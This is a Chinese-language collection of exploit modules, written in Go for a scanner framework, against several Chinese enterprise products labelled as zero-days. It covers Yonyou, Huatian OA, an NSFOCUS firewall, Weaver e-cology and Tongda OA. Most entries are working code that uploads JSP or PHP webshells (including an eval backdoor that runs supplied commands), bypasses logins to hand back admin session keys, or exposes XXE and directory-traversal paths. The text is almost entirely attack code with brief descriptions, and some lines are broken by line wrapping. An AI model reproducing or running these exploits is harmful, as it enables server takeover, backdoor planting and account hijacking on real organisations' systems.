用友 NC系统 uapws wsdl XXE 漏洞 0day

用友 NC 系统 uapws 存在 wsdl 接口，可通过指定路径传入内部或外部的 xml 进行解析，造成 XXE 漏洞。攻击者可以通过 XXE 漏洞读取服务器文件，执行任意命令等

```
/uapws/service/nc.uap.oba.update.IUpdateService?xsd={{{xmlUrl}}}
```

华天动力 OA 任意文件上传漏洞 0day

华天动力 OA 存在任意文件上传漏洞，攻击者可以上传任意文件，获取 webshell，控制服务器权限，读取敏感信息等

```
getOAFilePath98234u293 := func(host *httpclient.FixUrl) string {
        requestConfig :=
httpclient.NewPostRequestConfig("/OAapp/jsp/upload.jsp")
        requestConfig.VerifyTls = false
        requestConfig.FollowRedirect = false
        requestConfig.Header.Store("Content-Type", "multipart/form-data;
boundary=----WebKitFormBoundary5Ur8laykKAWws2QO")
        requestConfig.Data = "------
WebKitFormBoundary5Ur8laykKAWws2QO\r\nContent-Disposition: form-data;
name="file"; filename="xxx.xml"\r\nContent-Type: image/png\r\n\r\nreal path\r\n--
----WebKitFormBoundary5Ur8laykKAWws2QO\r\nContent-Disposition: form-data;
name="filename"\r\n\r\nxxx.png\r\n------WebKitFormBoundary5Ur8laykKAWws2QO--
\r\n"

        if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil
{
                if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html,
".dat") {
                        if path := regexp.MustCompile(`(.*?)Tomcat/webapps/.*?
\.dat`).FindStringSubmatch(resp.RawBody); len(path) > 1 {
                                // 直接返回文件最后一个 jsessionid
                                return path[1]
                        } else if path :=
regexp.MustCompile(`(.*?)htoadata/appdata/.*?
\.dat`).FindStringSubmatch(resp.RawBody); len(path) > 1 {
                                return path[1]
                        }
                }
        }

        return ""
}

exploitUploadFile837276342783 := func(path string, fileContent string, host
*httpclient.FixUrl) bool {
        requestConfig :=
httpclient.NewPostRequestConfig("/OAapp/htpages/app/module/trace/component/fileE
dit/ntkoupload.jsp")
        requestConfig.VerifyTls = false
        requestConfig.FollowRedirect = false
        requestConfig.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryzRSYXfFlXqk6btQm")
        requestConfig.Data = "------WebKitFormBoundaryzRSYXfFlXqk6btQm\r\nContent-Disposition: form-data; name="EDITFILE"; filename="xxx.txt"\r\nContent-Type: image/png\r\n\r\n" + fileContent + "\r\n------WebKitFormBoundaryzRSYXfFlXqk6btQm\r\nContent-Disposition: form-data; name="newFileName"\r\n\r\n" + path + "Tomcat/webapps/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp\r\n------WebKitFormBoundaryzRSYXfFlXqk6btQm--\r\n"

        if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
                return resp.StatusCode == 200
        }

        return false
}

checkUploadedFile2398764278 := func(fileContent string, host *httpclient.FixUrl) bool {
        requestConfig := httpclient.NewGetRequestConfig("/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp")
        requestConfig.VerifyTls = false
        requestConfig.FollowRedirect = false

        if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
                return resp.StatusCode == 200 && strings.Contains(resp.RawBody, fileContent)
        }

        return false
}

ExpManager.AddExploit(NewExploit(
        goutils.GetFileName(),
        expJson,
        func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
                path := getOAFilePath98234u293(u)

                if path == "" {
                        path = "D:/htoa/"
                }

                rand := goutils.RandomHexString(6)

                if exploitUploadFile837276342783(path, "<%out.print(""+rand+"");%>", u) {
                        return checkUploadedFile2398764278(rand, u)



                }
                return false
        },
        func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
                fileContent := ss.Params["fileContent"].(string)
                path := getOAFilePath98234u293(expResult.HostInfo)

                if path == "" {
                        path = "D:/htoa/"
                }

                if exploitUploadFile837276342783(path, fileContent, expResult.HostInfo) {
                        expResult.Success = true
                        expResult.Output = "文件已上传，请访问：/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp"
                }

                return expResult
        },
))
```

绿盟下一代防火墙 resourse.php 任意文件上传漏洞 0day

绿盟下一代防火墙 bugsInfo/resourse.php 文件存在任意文件上传漏洞，攻击者可上传恶意木马，获取服务器权限

```
ExpManager.AddExploit(NewExploit(
        goutils.GetFileName(),
        expJson,
        func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
                u1 := httpclient.NewFixUrl("https://" + u.IP + ":8081")
                uri1 := "/api/v1/device/bugsInfo"
                cfg1 := httpclient.NewPostRequestConfig(uri1)
                cfg1.VerifyTls = false
                cfg1.FollowRedirect = false
                cfg1.Header.Store("Content-Type", "multipart/form-data; boundary=1d52ba2a11ad8a915eddab1a0e85acd9")
                cfg1.Data = "--1d52ba2a11ad8a915eddab1a0e85acd9\r\nContent-Disposition: form-data; name="file"; filename="sess_82c13f359d0dd8f51c29d658a9c8ac71"\r\n\r\nlang|s:52:"../../../../../../../../../../../../../../../../tmp/";\r\n--1d52ba2a11ad8a915eddab1a0e85acd9--\r\n"
                if resp, err := httpclient.DoHttpRequest(u1, cfg1); err == nil && resp.StatusCode == 200 && strings.Contains(resp.RawBody, "upload file success") {
                        time.Sleep(time.Second * 5)
                        uri2 := "/api/v1/device/bugsInfo"
                        cfg2 := httpclient.NewPostRequestConfig(uri2)
                        cfg2.VerifyTls = false
                        cfg2.FollowRedirect = false
                        cfg2.Header.Store("Content-Type", "multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef")
                        cfg2.Data = "-
-4803b59d015026999b45993b1245f0ef\r\nContent-Disposition: form-data; name="file";
filename="compose.php"\r\n\r\n<?php eval($_POST[1]);?>\r\n-
-4803b59d015026999b45993b1245f0ef--\r\n"
                        if resp2, err2 := httpclient.DoHttpRequest(u1, cfg2);
err2 == nil && resp2.StatusCode == 200 && strings.Contains(resp2.RawBody,
"upload file success") {
                                u3 := httpclient.NewFixUrl("https://" + u.IP +
":4433")
                                uri3 := "/mail/include/header_main.php"
                                cfg3 := httpclient.NewPostRequestConfig(uri3)
                                cfg3.VerifyTls = false
                                cfg3.FollowRedirect = false
                                cfg3.Header.Store("Cookie",
"PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71")
                                cfg3.Header.Store("Content-Type", "application/x-
www-form-urlencoded")
                                cfg3.Data = "1=print+md5%281%29%3B"
                                if resp3, err := httpclient.DoHttpRequest(u3,
cfg3); err == nil {
                                        return resp3.StatusCode == 200 &&
strings.Contains(resp3.RawBody, "c4ca4238a0b923820dcc509a6f75849b")
                                }
                        }
                }

                return false
        },
        func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig)
*jsonvul.ExploitResult {
                cmd := ss.Params["cmd"].(string)
                u1 := httpclient.NewFixUrl("https://" + expResult.HostInfo.IP +
":8081")
                uri1 := "/api/v1/device/bugsInfo"
                cfg1 := httpclient.NewPostRequestConfig(uri1)
                cfg1.VerifyTls = false
                cfg1.FollowRedirect = false
                cfg1.Header.Store("Content-Type", "multipart/form-data;
boundary=1d52ba2a11ad8a915eddab1a0e85acd9")
                cfg1.Data = "--1d52ba2a11ad8a915eddab1a0e85acd9\r\nContent-
Disposition: form-data; name="file";
filename="sess_82c13f359d0dd8f51c29d658a9c8ac71"\r\n\r\nlang|s:52:"../../../../.
./../../../../../../../../../tmp/";\r\n--1d52ba2a11ad8a915eddab1a0e85acd9--
\r\n"
                if resp, err := httpclient.DoHttpRequest(u1, cfg1); err == nil
&& resp.StatusCode == 200 && strings.Contains(resp.RawBody, "upload file
success") {
                        time.Sleep(time.Second * 5)
                        uri2 := "/api/v1/device/bugsInfo"
                        cfg2 := httpclient.NewPostRequestConfig(uri2)
                        cfg2.VerifyTls = false
                        cfg2.FollowRedirect = false
                        cfg2.Header.Store("Content-Type", "multipart/form-data;
boundary=4803b59d015026999b45993b1245f0ef")
```

```
                        cfg2.Data = "-
-4803b59d015026999b45993b1245f0ef\r\nContent-Disposition: form-data; name="file";
filename="compose.php"\r\n\r\n<?php eval($_POST[1]);?>\r\n-
-4803b59d015026999b45993b1245f0ef--\r\n"
                        if resp2, err2 := httpclient.DoHttpRequest(u1, cfg2);
err2 == nil && resp2.StatusCode == 200 && strings.Contains(resp2.RawBody,
"upload file success") {
                                u3 := httpclient.NewFixUrl("https://" +
expResult.HostInfo.IP + ":4433")
                                uri3 := "/mail/include/header_main.php"
                                cfg3 := httpclient.NewPostRequestConfig(uri3)
                                cfg3.VerifyTls = false
                                cfg3.FollowRedirect = false
                                cfg3.Header.Store("Cookie",
"PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71")
                                cfg3.Header.Store("Content-Type", "application/x-
www-form-urlencoded")
                                cfg3.Data = fmt.Sprintf("1=%s",
url.QueryEscape(cmd))
                                if resp3, err := httpclient.DoHttpRequest(u3,
cfg3); err == nil && resp3.StatusCode == 200 {
                                        expResult.Output = resp3.RawBody
                                        expResult.Success = true
                                }
                        }
                }
                return expResult
        },
))
```

用友 GRP-U8 财务管理软件任意文件上传漏洞 0day

```
exploitYonyouGRPU812345512 := func(fileName string, fileContent string, host
*httpclient.FixUrl) bool {
        requestConfig := httpclient.NewPostRequestConfig("/UploadFileData?
action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1
=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename
=" + fileName + ".jsp&filename=1.jpg")
        requestConfig.VerifyTls = false
        requestConfig.FollowRedirect = false
        requestConfig.Header.Store("Content-type", "multipart/form-data")
        requestConfig.Data = "------WebKitFormBoundary92pUawKc\r\nContent-
Disposition: form-data; name="myFile";filename="test.jpg"\r\n\r\n" + fileContent
+ "\r\n------WebKitFormBoundary92pUawKc--"

        if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil
{
                if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html,
"parent.showSucceedMsg();") {
                        return true
                }
        }
        return false
}
```

```
checkUploadedFile12314456 := func(fileName string, fileContent string, host *httpclient.FixUrl) bool {
        // 攻击 URL
        requestConfig := httpclient.NewGetRequestConfig("/R9iPortal/" + fileName + ".jsp")
        requestConfig.VerifyTls = false
        requestConfig.FollowRedirect = false
        requestConfig.Timeout = 15

        // 发送攻击请求
        if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
                return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, fileContent)
        }
        return false
}

ExpManager.AddExploit(NewExploit(
        goutils.GetFileName(),
        expJson,
        func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {

                rand1 := goutils.RandomHexString(4)
                rand2 := goutils.RandomHexString(4)

                // 上传文件
                if exploitYonyouGRPU812345512(rand1, "<%out.print(""+rand2+"");%>", u) {
                        // 检查文件是否上传成功
                        return checkUploadedFile12314456(rand1, rand2, u)
                }

                return false
        },
        func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {

                fileName := ss.Params["name"].(string)
                fileContent := ss.Params["content"].(string)

                if exploitYonyouGRPU812345512(fileName, fileContent, expResult.HostInfo) {
                        expResult.Success = true
                        expResult.Output = "文件上传成功，请访问路径：/R9iPortal/" + fileName + ".jsp"
                }

                return expResult
        },
))
```

Weaver ecology9 OA系统上传漏洞 0day

```
无
```

泛微 E-cology OA 任意管理用户登陆漏洞 0day

低版本泛微 e-cology 存在任意管理员用户登陆漏洞，攻击者可以利用系统内的接口快速登陆管理员用户，获取用户对应的管理权限，并可以使用该用户身份执行恶意操作

```
ExpManager.AddExploit(NewExploit(
        goutils.GetFileName(),
        expJson,
        func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss
*scanconfig.SingleScanConfig) bool {
                // 漏洞 URL
                cfg :=
httpclient.NewPostRequestConfig("/mobile/plugin/VerifyQuickLogin.jsp")
                cfg.FollowRedirect = false
                cfg.Timeout = 15
                cfg.Header.Store("Content-Type", "application/x-www-form-
urlencoded")
                cfg.Data = "identifier=1&language=1&ipaddress=x.x.x.x"

                if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
                        if resp.StatusCode == 200 &&
strings.Contains(resp.HeaderString.String(), "Set-Cookie: ecology_JSession") &&
strings.Contains(resp.Utf8Html, "{"message":"1","sessionkey":"") {
                                return true
                        }
                }

                return false
        },
        func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig)
*jsonvul.ExploitResult {
                // 使用 api 查询数据
                cfg :=
httpclient.NewPostRequestConfig("/mobile/plugin/VerifyQuickLogin.jsp")
                cfg.FollowRedirect = false
                cfg.Timeout = 15
                cfg.Header.Store("Content-Type", "application/x-www-form-
urlencoded")
                cfg.Data = "identifier=1&language=1&ipaddress=1.1.1.1"

                if resp, err := httpclient.DoHttpRequest(expResult.HostInfo,
cfg); err == nil {
                        if resp.StatusCode == 200 &&
strings.Contains(resp.HeaderString.String(), "Set-Cookie: ecology_JSession") &&
strings.Contains(resp.Utf8Html, "{"message":"1","sessionkey":"") {



                                expResult.Success = true
                                expResult.Output = "攻击成功，请使用 sessionKey：\n"
+ regexp.MustCompile(`"sessionkey":"(.*?)"`).FindStringSubmatch(resp.RawBody)[1]
                        }
                }
                return expResult
        },
))
```

通达 OA 任意用户登陆漏洞 0day

通达存在任意用户登陆漏洞，攻击者可以通过指定接口登陆任意用户，获取后台管理权限，直接登录后台进行敏感操作

```
checkIsTongdaOA1231234 := func(host *httpclient.FixUrl) bool {
        requestConfig := httpclient.NewGetRequestConfig("/inc/expired.php")
        requestConfig.VerifyTls = false
        requestConfig.FollowRedirect = false

        if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil
{
                return resp.StatusCode == 200 && strings.Contains(resp.RawBody,
"tongda")
        }
        return false
}

getTongdaCodeUID435345 := func(host *httpclient.FixUrl) string {
        requestConfig :=
httpclient.NewGetRequestConfig("/ispirit/login_code.php")
        requestConfig.VerifyTls = false
        requestConfig.FollowRedirect = false


        if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil
{
                if resp.StatusCode == 200 && strings.Contains(resp.RawBody,
""codeuid"") {
                        return regexp.MustCompile(`\{"codeuid":"\
{(.*?)}"`).FindStringSubmatch(resp.RawBody)[1]
                }
        }
        return ""
}

getTongdaPHPSESSID4564234 := func(codeuid string, host *httpclient.FixUrl) string
{
        requestConfig := httpclient.NewPostRequestConfig("/logincheck_code.php")
        requestConfig.VerifyTls = false
        requestConfig.FollowRedirect = false
        requestConfig.Header.Store("Content-type", "application/x-www-form-
urlencoded")
        requestConfig.Data = "UID=1&CODEUID=_PC{" + codeuid + "}"

        if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil
{
                if resp.StatusCode == 200 && strings.Contains(resp.RawBody,
""status":1") && strings.Contains(resp.RawBody, ""url":"general") &&
strings.Contains(resp.HeaderString.String(), "Set-Cookie: PHPSESSID=") {
```

```
                        return regexp.MustCompile(`Set-Cookie: PHPSESSID=
(.*?);`).FindStringSubmatch(resp.HeaderString.String())[1]
                }
        }
        return ""
}

exploitTongda45321 := func(phpsessionid string, host *httpclient.FixUrl) bool {
        // 攻击 URL
        requestConfig := httpclient.NewGetRequestConfig("/general/")
        requestConfig.VerifyTls = false
        requestConfig.FollowRedirect = false
        requestConfig.Timeout = 15
        requestConfig.Header.Store("Cookie", "PHPSESSID="+phpsessionid)

        // 发送攻击请求
        if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil
{
                return resp.StatusCode == 302 && strings.Contains(resp.Utf8Html,
"tongdainfo")
        }

        return false
}

ExpManager.AddExploit(NewExploit(
        goutils.GetFileName(),
        expJson,
        func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss
*scanconfig.SingleScanConfig) bool {
                if checkIsTongdaOA1231234(u) {
                        codeuid := getTongdaCodeUID435345(u)
                        if codeuid != "" {
                                phpsessionid :=
getTongdaPHPSESSID4564234(codeuid, u)
                                if phpsessionid != "" {
                                        return exploitTongda45321(phpsessionid,
u)
                                }
                        }
                }

                return false
        },
        func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig)
*jsonvul.ExploitResult {
                if checkIsTongdaOA1231234(expResult.HostInfo) {
                        codeuid := getTongdaCodeUID435345(expResult.HostInfo)
                        if codeuid != "" {
                                phpsessionid :=
getTongdaPHPSESSID4564234(codeuid, expResult.HostInfo)
                                if phpsessionid != "" {
                                        if exploitTongda45321(phpsessionid,
expResult.HostInfo) {
                                                expResult.Success = true
                                                expResult.Output = "登陆成功，使用如下 session 即可登陆：" + phpsessionid
                                        }
                                }
                        }
                }

                return expResult
        },
))
```

8. 用友 FE 协作办公平台 templateOfTaohong_manager.jsp 目录遍历漏洞 0day

用友 FE 平台低版本templateOfTaohong_manager.jsp文件存在目录遍历漏洞，攻击者可以通过此文件遍历系统文件内容，获取敏感信息，并可利用此页面上的功能创建文件夹、删除文件等等

路径：`/system/mediafile/templateOfTaohong_manager.jsp?path={{{path}}}`